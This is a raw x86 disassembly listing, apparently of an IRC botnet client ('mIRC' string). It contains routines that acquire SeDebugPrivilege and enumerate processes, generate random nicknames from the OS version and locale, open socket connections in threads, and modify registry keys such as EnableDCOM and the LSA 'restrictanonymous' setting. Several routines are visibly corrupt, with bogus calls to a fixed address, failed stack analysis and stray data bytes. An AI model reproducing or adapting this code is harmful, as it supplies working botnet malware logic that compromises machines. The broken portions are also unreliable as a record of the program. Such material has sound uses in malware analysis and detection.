		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_42F774
		mov	esi, eax


loc_412128:				; CODE XREF: sub_4120CB+32j
		push	[ebp+var_4]
		call	ds:dword_41F070	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4120CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412136	proc near		; CODE XREF: seg000:0040FB34p
					; sub_4122E7+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_42F728, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_4122E0
		cmp	ds:dword_42F70C, ebx
		jz	loc_4122E0
		cmp	ds:dword_42F628, ebx
		jz	loc_4122E0
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4120CB
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_42F728
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_4122D3
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42F70C
		mov	esi, ds:dword_41F070
		test	eax, eax
		jz	loc_4122CE


loc_4121D9:				; CODE XREF: sub_412136+BEj
					; sub_412136+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42F628
		test	eax, eax
		jz	loc_4122CE
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4121D9
		cmp	[ebp+arg_C], ebx
		jnz	loc_412286
		cmp	[ebp+arg_4], ebx
		jz	short loc_4121D9
		push	[ebp+var_124]
		push	8
		call	ds:dword_42F728
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_412243
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_42F5D4
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_412249
		lea	eax, [ebp+var_230]
		jmp	short loc_41224F
; ---------------------------------------------------------------------------


loc_412243:				; CODE XREF: sub_412136+EBj
		push	[ebp+var_124]


loc_412249:				; CODE XREF: sub_412136+103j
		lea	eax, [ebp+var_108]


loc_41224F:				; CODE XREF: sub_412136+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4135AD
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h
		push	edi
		call	esi ; dword_41F070
		jmp	loc_4121D9
; ---------------------------------------------------------------------------


loc_412286:				; CODE XREF: sub_412136+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4121D9
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 0A70000h


loc_4122B0:				; CODE XREF: sub_412136+17Cj
		in	al, 0FFh
		jnz	short loc_4122B0
		mov	edi, eax
		call	esi ; dword_41F070
		push	ebx
		push	edi
		call	near ptr 0A70000h
		hlt
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4122C9
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4122E0
; ---------------------------------------------------------------------------


loc_4122C9:				; CODE XREF: sub_412136+18Cj
		push	1
		pop	eax
		jmp	short loc_4122E2
; ---------------------------------------------------------------------------


loc_4122CE:				; CODE XREF: sub_412136+9Dj
					; sub_412136+B5j
		push	[ebp+var_4]
		call	esi ; dword_41F070


loc_4122D3:				; CODE XREF: sub_412136+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4120CB
		pop	ecx
		pop	ecx


loc_4122E0:				; CODE XREF: sub_412136+3Aj
					; sub_412136+46j ...
		xor	eax, eax


loc_4122E2:				; CODE XREF: sub_412136+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4122E7	proc near		; DATA XREF: seg000:004106ECo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_42C868
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4135AD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_412346
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4110B0
		add	esp, 14h


loc_412346:				; CODE XREF: sub_4122E7+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_412136
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41236E
		push	offset dword_42C82C
		jmp	short loc_412373
; ---------------------------------------------------------------------------


loc_41236E:				; CODE XREF: sub_4122E7+7Ej
		push	offset dword_42C7F4


loc_412373:				; CODE XREF: sub_4122E7+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4135AD
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4123A6
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4110B0
		add	esp, 14h


loc_4123A6:				; CODE XREF: sub_4122E7+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_409615
		push	[ebp+var_14]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		or	al, 5Fh
		pop	esi
sub_4122E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4123C5	proc far		; CODE XREF: seg000:0040FAD6p
					; sub_413194+53p
		push	esi
		push	edi
		push	1
		pop	edi
		push	dword ptr [esp+0Ch]
		push	0
		push	1F0FFFh
		call	near ptr 0A70000h
		retf	0F08Bh
sub_4123C5	endp

; ---------------------------------------------------------------------------
		db 85h,	0F6h, 74h
		dd 56006A16h, 65DC17E8h, 0C0855700h, 33560975h,	7015FFFFh
		dd 8B0041F0h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123FC	proc near		; CODE XREF: seg000:00403914p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_413609
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_41F660
		call	sub_414024
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4123FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41242C	proc near		; CODE XREF: sub_412797+49p
					; DATA XREF: seg002:off_42C8B0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_4282B8
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_413B2A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_428240, esi
		jle	short loc_412485


loc_41245F:				; CODE XREF: sub_41242C+57j
		call	sub_413609
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42C904
		push	1Ch
		push	edi
		call	sub_413B2A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_428240
		jl	short loc_41245F


loc_412485:				; CODE XREF: sub_41242C+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41242C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41248A	proc near		; CODE XREF: seg000:0040F0A9p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		pop	ecx
		call	sub_413609
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_428240
		test	esi, esi
		jle	short loc_4124CD


loc_4124B7:				; CODE XREF: sub_41248A+41j
		call	sub_413609
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_4124B7


loc_4124CD:				; CODE XREF: sub_41248A+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41248A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset dword_42C90C
		push	eax
		push	esi
		call	near ptr 0A70000h
		mov	dl, 0Fh
		mov	esi, 42C90C05h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_412513:				; CODE XREF: seg000:0041251Ej
		cmp	eax, ecx
		jnz	short loc_41251A
		mov	[ebp-4], edx


loc_41251A:				; CODE XREF: seg000:00412515j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_412513
		push	61h
		pop	ecx


loc_412523:				; CODE XREF: seg000:0041252Ej
		cmp	eax, ecx
		jnz	short loc_41252A
		mov	[ebp-4], edx


loc_41252A:				; CODE XREF: seg000:00412525j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_412523
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_413B2A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_428240, esi
		jle	short loc_41256F


loc_412549:				; CODE XREF: seg000:0041256Dj
		call	sub_413609
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42C904
		push	1Ch
		push	edi
		call	sub_413B2A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_428240
		jl	short loc_412549


loc_41256F:				; CODE XREF: seg000:00412547j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_41F138	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_42C910
		push	1Ch
		push	edi
		call	sub_413B2A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_428240, esi
		jle	short loc_4125E4


loc_4125BE:				; CODE XREF: seg000:004125E2j
		call	sub_413609
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42C904
		push	1Ch
		push	edi
		call	sub_413B2A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_428240
		jl	short loc_4125BE


loc_4125E4:				; CODE XREF: seg000:004125BCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_42E348
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_41F0FC	; GetVersionExA
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_41266E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41264E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41263E
		mov	esi, offset a95	; "95"


loc_41263E:				; CODE XREF: seg000:00412637j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4126AA
		mov	esi, offset aNt	; "NT"
		jmp	short loc_4126AA
; ---------------------------------------------------------------------------


loc_41264E:				; CODE XREF: seg000:0041262Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_41265E
		mov	esi, offset a98	; "98"
		jmp	short loc_4126AA
; ---------------------------------------------------------------------------


loc_41265E:				; CODE XREF: seg000:00412655j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4126A5
		mov	esi, offset aMe	; "ME"
		jmp	short loc_4126AA
; ---------------------------------------------------------------------------


loc_41266E:				; CODE XREF: seg000:00412625j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4126A5
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_412687
		mov	esi, offset a2k	; "2K"
		jmp	short loc_4126AA
; ---------------------------------------------------------------------------


loc_412687:				; CODE XREF: seg000:0041267Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_412697
		mov	esi, offset aXp	; "XP"
		jmp	short loc_4126AA
; ---------------------------------------------------------------------------


loc_412697:				; CODE XREF: seg000:0041268Ej
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_42C91C
		jz	short loc_4126AA


loc_4126A5:				; CODE XREF: seg000:00412665j
					; seg000:00412675j
		mov	esi, offset dword_427868


loc_4126AA:				; CODE XREF: seg000:00412645j
					; seg000:0041264Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_42C914
		push	1Ch
		push	edi
		call	sub_413B2A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_428240, esi
		jle	short loc_4126EE


loc_4126C8:				; CODE XREF: seg000:004126ECj
		call	sub_413609
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42C904
		push	1Ch
		push	edi
		call	sub_413B2A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_428240
		jl	short loc_4126C8


loc_4126EE:				; CODE XREF: seg000:004126C6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126F4	proc near		; CODE XREF: sub_412797+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_412743
		call	ds:dword_42F714
		test	eax, eax
		mov	eax, offset dword_42C928
		jnz	short loc_41272C
		mov	eax, offset byte_42E348


loc_41272C:				; CODE XREF: sub_4126F4+31j
		push	eax
		push	esi
		push	offset dword_42C920
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_413B2A
		add	esp, 14h
		jmp	short loc_412763
; ---------------------------------------------------------------------------


loc_412743:				; CODE XREF: sub_4126F4+22j
		call	ds:dword_42F714
		test	eax, eax
		mov	eax, offset dword_42C928
		jnz	short loc_412757
		mov	eax, offset byte_42E348


loc_412757:				; CODE XREF: sub_4126F4+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412763:				; CODE XREF: sub_4126F4+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413DB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_412792
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_414FA0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_414DD0
		add	esp, 18h


loc_412792:				; CODE XREF: sub_4126F4+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4126F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412797	proc near		; CODE XREF: sub_40B07B+7Fp
					; sub_40B1E3+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42C8AC


loc_4127A3:				; CODE XREF: sub_412797+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_4127BE
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4139D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4127C8
; ---------------------------------------------------------------------------


loc_4127BE:				; CODE XREF: sub_412797+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4127C8:				; CODE XREF: sub_412797+25j
		test	eax, eax
		jnz	short loc_4127DA
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_42C910
		jl	short loc_4127A3
		jmp	short loc_4127E8
; ---------------------------------------------------------------------------


loc_4127DA:				; CODE XREF: sub_412797+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42C8B0[eax*4]
		pop	ecx


loc_4127E8:				; CODE XREF: sub_412797+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4127FB
		push	[ebp+arg_0]
		call	sub_4126F4
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4127FB:				; CODE XREF: sub_412797+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_412797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412800	proc near		; DATA XREF: sub_4128CD+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_42F708
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_42F788
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4128BE
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F6B0
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_4348A4[ecx], esi
		jz	short loc_4128BE
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_42F794
		push	eax
		mov	edi, offset dword_45E5D4
		push	offset unk_42C92C
		push	edi
		call	sub_4135AD
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_4110B0
		push	edi
		call	sub_409615
		add	esp, 28h


loc_4128BE:				; CODE XREF: sub_412800+5Dj
					; sub_412800+7Ej
		push	esi
		call	ds:dword_42F7A0
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_412800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4128CD	proc near		; DATA XREF: seg000:0040E80Co

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41F058
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4128FB:				; CODE XREF: sub_4128CD+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_42C968
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_434698
		push	eax
		call	sub_414DD0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_412800
		push	edi
		push	edi
		call	ds:dword_41F06C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_412967


loc_41295C:				; CODE XREF: sub_4128CD+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_412967
		push	32h
		call	esi ; dword_41F058
		jmp	short loc_41295C
; ---------------------------------------------------------------------------


loc_412967:				; CODE XREF: sub_4128CD+8Dj
					; sub_4128CD+92j
		push	[ebp+var_4]
		call	ds:dword_41F070	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi ; dword_41F058
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_413690
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_42F63C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_42F704
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_413690
		add	esp, 0Ch
		jmp	loc_4128FB
sub_4128CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129BE	proc near		; DATA XREF: seg000:00410D08o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_412A05
		call	sub_412A1E
		jmp	short loc_412A0A
; ---------------------------------------------------------------------------


loc_412A05:				; CODE XREF: sub_4129BE+3Ej
		call	sub_412D42


loc_412A0A:				; CODE XREF: sub_4129BE+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_413375
		pop	ecx
		push	0
		call	near ptr 0A70000h
		lodsd
sub_4129BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A1E	proc near		; CODE XREF: sub_4129BE+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_42F7D8, edi
		jnz	loc_412B50
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_42F778
		test	eax, eax
		jnz	short loc_412AA9
		mov	ax, ds:word_42CD50
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_42F72C
		test	eax, eax
		jz	short loc_412A8B
		push	offset unk_42CD0C
		jmp	short loc_412A90
; ---------------------------------------------------------------------------


loc_412A8B:				; CODE XREF: sub_412A1E+64j
		push	offset dword_42CCDC


loc_412A90:				; CODE XREF: sub_412A1E+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F6E4
		jmp	short loc_412ABC
; ---------------------------------------------------------------------------


loc_412AA9:				; CODE XREF: sub_412A1E+36j
		lea	eax, [ebp+var_214]
		push	offset unk_42CC98
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412ABC:				; CODE XREF: sub_412A1E+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_412ADB
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412ADB:				; CODE XREF: sub_412A1E+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_409615
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_42F778
		test	eax, eax
		jnz	short loc_412B49
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_42F72C
		test	eax, eax
		jz	short loc_412B2B
		push	offset unk_42CC34
		jmp	short loc_412B30
; ---------------------------------------------------------------------------


loc_412B2B:				; CODE XREF: sub_412A1E+104j
		push	offset unk_42CBEC


loc_412B30:				; CODE XREF: sub_412A1E+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F6E4
		jmp	short loc_412B63
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412A1E+E2j
		push	offset unk_42CB9C
		jmp	short loc_412B55
; ---------------------------------------------------------------------------


loc_412B50:				; CODE XREF: sub_412A1E+13j
		push	offset unk_42CB58


loc_412B55:				; CODE XREF: sub_412A1E+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412B63:				; CODE XREF: sub_412A1E+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_412B82
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412B82:				; CODE XREF: sub_412A1E+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_409615
		cmp	ds:dword_42F800, edi
		pop	ecx
		jnz	loc_412CFD
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_412BA5:				; CODE XREF: sub_412A1E+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_42F654
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_412C42
		cmp	eax, 0EAh
		jz	short loc_412C42
		mov	esi, offset off_42C9A8


loc_412BD6:				; CODE XREF: sub_412A1E+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_411701
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412BED
		push	offset unk_42CB20
		jmp	short loc_412BF2
; ---------------------------------------------------------------------------


loc_412BED:				; CODE XREF: sub_412A1E+1C6j
